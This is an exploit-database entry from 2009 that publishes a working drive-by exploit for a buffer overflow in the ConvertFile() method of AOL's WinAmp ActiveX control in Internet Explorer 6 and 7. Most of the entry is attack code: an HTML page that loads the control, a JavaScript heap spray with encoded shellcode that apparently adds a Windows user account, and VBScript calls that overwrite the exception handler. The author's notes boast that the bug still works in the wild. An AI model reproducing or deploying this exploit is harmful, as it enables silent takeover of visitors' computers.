AOL IWinAmpActiveX Class - 'ConvertFile()' Remote Buffer Overflow

🗓️ 19 May 2009 00:00:00Reported by rgodType
AOL IWinAmpActiveX Class - 'ConvertFile()' Remote Buffer Overflow exploit by rgod on AmpX.dll 2.4.0.
<!--
AOL IWinAmpActiveX Class (AmpX.dll 2.4.0.6) ConvertFile() remote overflow exploit (IE6/IE7)
by rgod
site: http://retrogod.altervista.org/

Notes by Nine:Situations:Group : an old unreleased one from rgod's archive,
*not* the same of http://www.kb.cert.org/vuls/id/568681
*not* the same of http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=623
(different clsid)
No one talks about the ConvertFile() method...
STILL FUCKING WORKSSSSS LOL!!!
AOL still serves the cab with the vulnerable control!!!
It seems to me that this is exploited in the wild:
http://www.google.com/search?q=FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6&hl=en&num=100&filter=0

details:
CLSID: {FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6}
Progid: WinAmpX.IWinAmpActiveX.2
Binary Path: C:\PROGRA~1\COMMON~1\Nullsoft\ActiveX\2.4\AmpX.dll
KillBitted: False
Implements IObjectSafety: True
Safe For Initialization (IObjectSafety): True
Safe For Scripting (IObjectSafety): True
-->
<HTML>
<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' width=1 height=1 id='IWinAmpActiveX'
codebase="http://pdl.stream.aol.com/downloads/aol/unagi/ampx_en_dl.cab">
</OBJECT>
<script language='javascript'>
//add user one, user "sun" pass "tzu"
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" +
                     "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +
                     "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +
                     "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +
                     "%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" +
                     "%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" +
                     "%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" +
                     "%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" +
                     "%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" +
                     "%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" +
                     "%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" +
                     "%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" +
                     "%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" +
                     "%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" +
                     "%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" +
                     "%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" +
                     "%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" +
                     "%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" +
                     "%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" +
                     "%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" +
                     "%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" +
                     "%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" +
                     "%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" +
                     "%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" +
                     "%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" +
                     "%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" +
                     "%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" +
                     "%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" +
                     "%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" +
                     "%u7734%u4734%u4570");
bigblock  = unescape("%u0c0c%u0c0c");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<666;i++){memory[i] = block+shellcode}
</script>
<SCRIPT language='VBScript'>
'first block must set eax to 0xffffffff, the second one overwrites seh
bof=string(1400,unescape("%ff")) + string(1000,unescape("%0c"))
IWinAmpActiveX.ConvertFile bof,1,1,1,1,1
IWinAmpActiveX.ConvertFile bof,1,1,1,1,1
IWinAmpActiveX.ConvertFile bof,1,1,1,1,1
IWinAmpActiveX.ConvertFile bof,1,1,1,1,1
</SCRIPT>
</HTML>

# milw0rm.com [2009-05-19]
19 May 2009 00:00Current
7.4High risk
Vulners AI Score7.4
AOL IWinAmpActiveX Class - &#039;ConvertFile()&#039; Remote Buffer Overflow

AOL IWinAmpActiveX Class - 'ConvertFile()' Remote Buffer Overflow
